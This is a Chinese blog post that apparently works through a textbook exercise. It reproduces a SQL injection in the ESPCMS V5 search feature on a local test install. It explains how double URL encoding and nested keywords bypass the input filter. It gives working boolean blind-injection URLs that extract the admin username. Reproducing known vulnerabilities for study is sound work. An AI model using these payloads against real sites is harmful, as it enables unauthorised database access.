复现ESPCMS搜索注入漏洞(urldecode注入漏洞)

 下载易思ESPCMS企业网站管理系统的V5 版本,根据安装说明,安装并配置ESPCMS

 

 

 

复现ESPCMS搜索注入漏洞

使用Seay源代码审计系统 找到漏洞

以《漏洞挖掘与防范》书本4.1.1.4为例

 

 

 

$tagkey变量是函数accept函数返回值 定位accept函数

 

 

 打开文件找到函数

 

 

 

根据$var=R 传递的是$_REQUEST['tagkey']输入的值

$tagkey变量进行了urldecode解码则会导致二次解码生成单引号而引发注入我们提交/1.php?id=l%2527,因为提交的参数里面没有单引号,所以第一次解码后的结果是id=1%27,%25解码的结果是%

 

 

 

 $tagkey的过滤函数 inputcodetrim()

 

 

 

可见只针对关键字进行过滤,即可以使用重写绕过函数

想对类中函数进行调用则需要实例化该类,即对该类名进行全局搜索

 

 

 发现index.php 文件实例化该类 即在首页有触发漏洞

 

 

 

通过在可输入框随机输入

 

可控变量为ac at  在源代码中寻找

定位indexget()函数

 

 由$k得到ac 或at $var=R 全文预览

 

 

 

$archive为被包含执行的文件名,$action用来指明该文件中调用的函数名,$mainlist->in_$action()调用该函数。我们通过现在可知/index.php页面是通过ac传参定位相应文件,调用其中at函数,若ac=search,at=taglist,则到search.php调用函数in_taglist(),再通过$tagkey变量传参,触发sql注入漏洞。

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527 构造payload

界面出错却没有显示出错内容,不能进行报错注入

对参数进行补全 然后urlencode二次编码

 http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523

 

 

成功 但无报错信息 使用布尔盲注

用盲注查询username

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b1%253d(seselectlect%2blength(username)%2bfrfromom%2bespcms_admin_member%2blimit%2b1)%2523

length(username)=1  不成功 当等于5时

 

 

成功

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect  mid(username,1,1) frfromom espcms_admin_member limit 1)#

二次编码

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523

页面正常,因此username第1位即a.

同理,可以得出用户名为admin

 

posted @   周知行  阅读(793)  评论(1编辑  收藏  举报
编辑推荐:
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 我与微信审核的“相爱相杀”看个人小程序副业
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~
  1. 1 原来你也在这里 周笔畅
  2. 2 世间美好与你环环相扣 柏松
  3. 3 起风了 吴青峰
  4. 4 极恶都市 夏日入侵企划
起风了 - 吴青峰
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 米果

作曲 : 高橋優

编曲 : 刘胡轶/貢多杰

制作人 : 刘胡轶/吴青峰

配唱制作人 : 刘胡轶

乐器监制 : 刘胡轶

吉他 : 胡晨

贝斯 : 甯子达

弦乐录音棚 : 中国剧院录音棚

录音工程师 : 倪涵文/李游/李杨/邢铜/韩宽/李巍

录音监制 : 倪涵文/李游

混音&母带工作室 : OKmastering studio

混音&母带工程师 : 全相彦

制作协力 : 刘西洋

制作发行 : 智慧大狗 × 天才联盟

出品人 : 张葛

监制 : 崔恕/王明宇

弦乐监制 : 李朋

弦乐 : 国际首席爱乐乐团

鼓(打击乐):祁大为

和音编写&演唱:鱼椒盐

人声&吉他&鼓(打击乐)录音棚:55Tec studio

我曾将青春翻涌成她

我曾将青春翻涌成她

也曾指尖弹出盛夏

心之所动 且就随缘去吧

这一路上走走停停

这一路上走走停停

顺着少年漂流的痕迹

迈出车站的前一刻

竟有些犹豫

不禁笑这近乡情怯

不禁笑这近乡情怯

仍无可避免

而长野的天

依旧那么暖

风吹起了从前

从前初识这世间

从前初识这世间

万般流连

看着天边似在眼前

也甘愿赴汤蹈火去走它一遍

如今走过这世间

如今走过这世间

万般流连

翻过岁月不同侧脸

措不及防闯入你的笑颜

我曾难自拔于世界之大

我曾难自拔于世界之大

也沉溺于其中梦话

不得真假 不做挣扎 不惧笑话

我曾将青春翻涌成她

我曾将青春翻涌成她

也曾指尖弹出盛夏

心之所动 且就随缘去吧

逆着光行走 任风吹雨打

短短的路走走停停

短短的路走走停停

也有了几分的距离

不知抚摸的是故事 还是段心情

也许期待的不过是 与时间为敌

再次看到你

微凉晨光里

笑得很甜蜜

从前初识这世间

从前初识这世间

万般流连

看着天边似在眼前

也甘愿赴汤蹈火去走它一遍

如今走过这世间

如今走过这世间

万般流连

翻过岁月不同侧脸

措不及防闯入你的笑颜

我曾难自拔于世界之大

我曾难自拔于世界之大

也沉溺于其中梦话

不得真假 不做挣扎 不惧笑话

我曾将青春翻涌成她

我曾将青春翻涌成她

也曾指尖弹出盛夏

心之所动 且就随缘去吧

晚风吹起你鬓间的白发

晚风吹起你鬓间的白发

抚平回忆留下的疤

你的眼中 明暗交杂 一笑生花

我仍感叹于世界之大

我仍感叹于世界之大

也沉醉于儿时情话

不剩真假 不做挣扎 无谓笑话

我终将青春还给了她

连同指尖弹出的盛夏

心之所动 就随风去了

以爱之名 你还愿意吗

点击右上角即可分享
微信分享提示